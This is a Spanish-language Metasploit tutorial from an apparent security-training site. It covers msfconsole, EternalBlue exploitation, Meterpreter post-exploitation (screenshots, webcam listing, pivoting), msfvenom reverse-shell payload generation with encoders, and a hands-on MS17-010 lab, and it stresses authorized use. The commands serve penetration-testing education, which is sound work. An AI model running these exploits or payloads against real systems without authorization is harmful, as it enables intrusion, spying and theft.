Saltar al contenido principal

Metasploit

Exploitation Framework6.xRed Team

El framework de explotación más usado en pentesting profesional. Centraliza miles de módulos públicos de exploits, payloads y herramientas auxiliares, junto con Meterpreter para post-explotación, todo orquestado desde una consola unificada.

Metasploit: arquitectura del framework

Módulos, base de datos y consola principal

Metasploit Framework (MSF) organiza miles de módulos públicos en una estructura coherente que permite reconocer, explotar y mantener acceso sobre sistemas durante una auditoría autorizada.

Tipos de módulos: • Exploits: código que aprovecha una vulnerabilidad específica ya conocida y documentada • Payloads: la "carga" que se ejecuta tras una explotación exitosa (ej: una shell, Meterpreter) • Auxiliary: módulos de apoyo que no explotan directamente (escáneres, fuzzers, servicios falsos) • Encoders: ofuscan payloads para reducir la detección por firmas simples • Post: módulos de post-explotación (extracción de credenciales, pivoting, persistencia) • NOPs: generadores de "no-operation" usados en shellcode

msfconsole: Es la interfaz principal, tipo CLI interactiva, con autocompletado, historial y búsqueda integrada sobre toda la base de módulos.

Base de datos: MSF usa PostgreSQL para almacenar hosts, servicios, credenciales y resultados de escaneos descubiertos durante una auditoría, permitiendo correlacionar información entre módulos.

bash
# ── INSTALACIÓN ───────────────────────────────────────
# Kali Linux: viene preinstalado
# Debian/Ubuntu:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
sudo ./msfinstall
 
# macOS:
brew install metasploit
 
# ── INICIALIZAR LA BASE DE DATOS ───────────────────────
sudo systemctl start postgresql
sudo msfdb init
 
# ── LANZAR LA CONSOLA ───────────────────────────────────
msfconsole
 
# ── COMANDOS BÁSICOS DE LA CONSOLA ─────────────────────
msf6 > db_status                  # Verificar conexión a la BD
msf6 > version                    # Versión del framework
msf6 > banner                     # Información general
msf6 > help                       # Lista de comandos
msf6 > workspace -a auditoria1    # Crear/usar un workspace separado

💡Mantén Metasploit actualizado con "sudo apt update && sudo apt install metasploit-framework" (o msfupdate): se agregan módulos nuevos constantemente para vulnerabilidades públicamente divulgadas.

Búsqueda y selección de módulos

Encontrar el módulo correcto entre miles disponibles

Con miles de módulos disponibles, saber buscar eficientemente es la habilidad base para usar Metasploit con criterio.

Comando search: Permite filtrar por nombre, plataforma, tipo, CVE o fecha de publicación. Los resultados muestran un ranking de confiabilidad (rank) que indica qué tan estable es el módulo.

Ranking de confiabilidad: De menor a mayor: manual, low, average, normal, good, great, excellent. Módulos "excellent" rara vez fallan o afectan la estabilidad del servicio objetivo.

Inspeccionar un módulo antes de usarlo: info muestra la descripción completa, referencias (CVE, OSVDB) y autor. show options lista los parámetros configurables y cuáles son obligatorios.

bash
# ── BUSCAR MÓDULOS ──────────────────────────────────────
msf6 > search type:exploit platform:windows smb
msf6 > search cve:2021
msf6 > search name:eternalblue
msf6 > search rank:excellent type:auxiliary
 
# ── SELECCIONAR UN MÓDULO ──────────────────────────────
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > info
msf6 exploit(ms17_010_eternalblue) > show options
msf6 exploit(ms17_010_eternalblue) > show targets
msf6 exploit(ms17_010_eternalblue) > show payloads
 
# ── VOLVER ATRÁS / CAMBIAR DE MÓDULO ───────────────────
msf6 exploit(ms17_010_eternalblue) > back
 
# ── VER OPCIONES AVANZADAS ─────────────────────────────
msf6 exploit(ms17_010_eternalblue) > show advanced

💡El comando "check" (disponible en muchos exploits) verifica si el objetivo es vulnerable SIN ejecutar la explotación real, ideal para reconocimiento de bajo impacto.

Configuración y ejecución de exploits

set, payload, check y exploit

Una vez seleccionado el módulo, el flujo de trabajo estándar es: configurar los parámetros obligatorios, elegir un payload compatible, verificar si aplica, y ejecutar.

Parámetros típicos: • RHOSTS: host(s) objetivo • RPORT: puerto del servicio • LHOST / LPORT: host y puerto local para recibir la conexión (en payloads reverse) • PAYLOAD: qué se ejecuta tras la explotación exitosa

Sesiones: Una explotación exitosa abre una "session" (shell o Meterpreter) que se gestiona desde la consola principal, permitiendo trabajar con varias sesiones simultáneamente.

bash
# ── CONFIGURAR PARÁMETROS ──────────────────────────────
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.50
msf6 exploit(ms17_010_eternalblue) > set RPORT 445
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.5
msf6 exploit(ms17_010_eternalblue) > set LPORT 4444
 
# ── GUARDAR CONFIGURACIÓN PARA REUTILIZAR ──────────────
msf6 exploit(ms17_010_eternalblue) > save
 
# ── VERIFICAR ANTES DE EXPLOTAR ────────────────────────
msf6 exploit(ms17_010_eternalblue) > check
 
# ── EJECUTAR ────────────────────────────────────────────
msf6 exploit(ms17_010_eternalblue) > exploit
# o en background:
msf6 exploit(ms17_010_eternalblue) > exploit -j
 
# ── GESTIONAR SESIONES ABIERTAS ────────────────────────
msf6 > sessions -l                # Listar sesiones activas
msf6 > sessions -i 1              # Interactuar con la sesión 1
msf6 > sessions -k 1              # Cerrar la sesión 1

💡Siempre ejecuta "check" antes de "exploit" cuando el módulo lo soporte: confirma la vulnerabilidad con un impacto mínimo sobre el sistema objetivo.

Meterpreter — post-explotación

El payload avanzado de Metasploit para trabajar tras el acceso inicial

Meterpreter es un payload avanzado que se ejecuta en memoria (sin tocar disco en su forma básica), ofreciendo un conjunto extenso de comandos para reconocimiento y gestión del sistema comprometido durante una auditoría autorizada.

Capacidades principales: • Información del sistema y del usuario actual • Navegación de archivos y transferencia de archivos • Captura de pantalla y registro de teclas (en el contexto de la sesión activa) • Migración entre procesos para mayor estabilidad • Pivoting: usar el host comprometido como puente hacia otras redes internas • Módulos de post-explotación para recolectar información adicional

Buenas prácticas: Migrar a un proceso estable (migrate) reduce el riesgo de perder la sesión si el proceso original termina. El uso de estas capacidades debe estar siempre dentro del alcance autorizado de la auditoría.

bash
# ── COMANDOS BÁSICOS DE METERPRETER ────────────────────
meterpreter > sysinfo             # Información del sistema
meterpreter > getuid              # Usuario actual
meterpreter > ps                  # Procesos en ejecución
meterpreter > migrate 1234        # Migrar a otro proceso (PID)
 
# ── NAVEGACIÓN Y ARCHIVOS ───────────────────────────────
meterpreter > pwd
meterpreter > ls
meterpreter > download archivo.txt
meterpreter > upload local.exe C:\Windows\Temp\
 
# ── INFORMACIÓN ADICIONAL ───────────────────────────────
meterpreter > screenshot
meterpreter > webcam_list
meterpreter > ipconfig
 
# ── PIVOTING HACIA OTRAS REDES ──────────────────────────
meterpreter > run autoroute -s 10.10.10.0/24
meterpreter > background
msf6 > route add 10.10.10.0 255.255.255.0 1
 
# ── MÓDULOS DE POST-EXPLOTACIÓN ─────────────────────────
msf6 > use post/windows/gather/enum_logged_on_users
msf6 > use post/multi/recon/local_exploit_suggester
 
# ── VOLVER A LA CONSOLA PRINCIPAL SIN CERRAR LA SESIÓN ──
meterpreter > background

💡El módulo "post/multi/recon/local_exploit_suggester" analiza el sistema comprometido y sugiere automáticamente exploits de escalada de privilegios aplicables.

Módulos auxiliares: escaneo e información

Reconocimiento integrado sin necesidad de explotar nada

Los módulos auxiliary no buscan comprometer un sistema, sino recolectar información, validar configuraciones o interactuar con servicios de forma controlada. Son el equivalente a "scripts de reconocimiento" dentro del propio framework.

Categorías comunes: • scanner: descubrimiento de servicios, versiones y configuraciones (SMB, HTTP, FTP, SSH, etc.) • gather: recolección de información (ej: usuarios válidos en un servicio) • fuzzer: envío de datos malformados para identificar comportamientos inesperados • server: levanta servicios falsos (ej: servidor SMB/HTTP) para pruebas de captura de credenciales

Estos módulos siguen el mismo flujo que los exploits: use, set, run.

bash
# ── ESCANEO DE SERVICIOS CON MÓDULOS AUXILIARY ─────────
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(smb_version) > run
 
msf6 > use auxiliary/scanner/http/http_version
msf6 auxiliary(http_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(http_version) > run
 
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(ssh_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(ssh_version) > run
 
# ── ESCANEO MASIVO DE UNA SUBRED ───────────────────────
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(tcp) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(tcp) > set PORTS 22,80,443,445,3389
msf6 auxiliary(tcp) > run

💡Combina los módulos scanner con el import de resultados de Nmap (db_import) para evitar reconocimientos duplicados y trabajar siempre desde la misma base de datos.

msfvenom: generación de payloads

Crear cargas independientes para distintos escenarios de prueba

msfvenom combina las funciones que antes ofrecían msfpayload y msfencode en una sola herramienta: genera payloads de Metasploit en distintos formatos para usarlos fuera de un exploit directo (ej: pruebas de ingeniería social autorizadas, payloads para pruebas de USB, etc.).

Componentes de un payload: • Tipo de payload (ej: windows/x64/meterpreter/reverse_tcp) • Formato de salida (-f): exe, elf, raw, apk, php, etc. • Opciones del payload (LHOST, LPORT) • Encoder opcional (-e) para ofuscar la firma del payload

Listener: Para recibir la conexión de un payload reverse, se necesita un listener activo (módulo exploit/multi/handler en msfconsole) configurado con el mismo LHOST/LPORT/payload.

bash
# ── LISTAR PAYLOADS, FORMATOS Y ENCODERS DISPONIBLES ───
msfvenom -l payloads | head -20
msfvenom -l formats
msfvenom -l encoders
 
# ── GENERAR UN PAYLOAD BÁSICO ──────────────────────────
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.5 LPORT=4444 \
  -f exe -o payload.exe
 
# ── PAYLOAD PARA LINUX ─────────────────────────────────
msfvenom -p linux/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.5 LPORT=4444 \
  -f elf -o payload.elf
 
# ── INFORMACIÓN DETALLADA DE UN PAYLOAD ────────────────
msfvenom -p windows/meterpreter/reverse_tcp --payload-options
 
# ── LEVANTAR EL LISTENER EN MSFCONSOLE ─────────────────
msf6 > use exploit/multi/handler
msf6 exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(handler) > set LHOST 192.168.1.5
msf6 exploit(handler) > set LPORT 4444
msf6 exploit(handler) > run

💡Todo uso de payloads generados con msfvenom debe restringirse a sistemas propios o entornos con autorización explícita; ejecutarlos sobre terceros sin consentimiento es ilegal.

Integración con bases de datos y Nmap

Centralizar hallazgos de toda una auditoría

La base de datos integrada de Metasploit permite correlacionar información de distintas fuentes (Nmap, módulos auxiliary, sesiones abiertas) dentro de un mismo workspace, evitando reconocimientos repetidos.

Workspaces: Cada auditoría puede tener su propio workspace, manteniendo los hallazgos separados entre distintos clientes o proyectos.

Importar resultados externos: Los XML de Nmap, o resultados de otros escáneres compatibles, se importan directamente y quedan disponibles para que los módulos auxiliares y exploits los usen como fuente de objetivos (RHOSTS file: o selección directa desde la base de datos).

bash
# ── GESTIÓN DE WORKSPACES ───────────────────────────────
msf6 > workspace                  # Listar workspaces
msf6 > workspace -a cliente_acme  # Crear uno nuevo
msf6 > workspace cliente_acme     # Cambiar de workspace
 
# ── IMPORTAR RESULTADOS DE NMAP ────────────────────────
nmap -sV -oX escaneo.xml 192.168.1.0/24
msf6 > db_import escaneo.xml
 
# ── CONSULTAR LA BASE DE DATOS ─────────────────────────
msf6 > hosts                      # Hosts descubiertos
msf6 > services                   # Servicios identificados
msf6 > services -p 445            # Filtrar por puerto
msf6 > vulns                      # Vulnerabilidades registradas
msf6 > creds                      # Credenciales recolectadas
 
# ── USAR LA BASE DE DATOS COMO FUENTE DE OBJETIVOS ─────
msf6 auxiliary(smb_version) > hosts -R   # Carga RHOSTS desde la BD automáticamente
 
# ── EXPORTAR HALLAZGOS ─────────────────────────────────
msf6 > db_export -f xml resultado_auditoria.xml

💡Mantén un workspace por cliente/proyecto desde el primer escaneo: ahorra horas cuando hay que correlacionar hosts, servicios y credenciales semanas después.

Labs Prácticos

Intermedio 30 min

Lab 1: Explotación de vulnerabilidad SMB (EternalBlue)

Objetivo

Utilizar el framework Metasploit para obtener acceso remoto a una máquina vulnerable mediante el exploit MS17-010.

Escenario

Un escaneo previo reveló una máquina Windows 7/Server 2008 sin parches de seguridad. Intentarás obtener una shell de Meterpreter.

Pasos

1

Iniciar msfconsole

2

Buscar el módulo EternalBlue

3

Configurar RHOSTS y LHOST

4

Ejecutar el exploit y verificar la sesión

bash — práctica
# INICIAR MSFCONSOLE
msfconsole -q

# BUSCAR Y USAR EXPLOIT
msf6 > search eternalblue
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# CONFIGURAR
msf6 exploit(...) > set RHOSTS 192.168.1.50
msf6 exploit(...) > set LHOST 192.168.1.10
msf6 exploit(...) > set payload windows/x64/meterpreter/reverse_tcp

# LANZAR
msf6 exploit(...) > exploit

Resultado esperado

Si tiene éxito, se abrirá una sesión de Meterpreter que te permitirá ejecutar comandos en el sistema remoto.

Aviso legal: Este contenido es estrictamente educativo. CyberFlows no apoya actividades ilegales. Úsalo solo en entornos autorizados.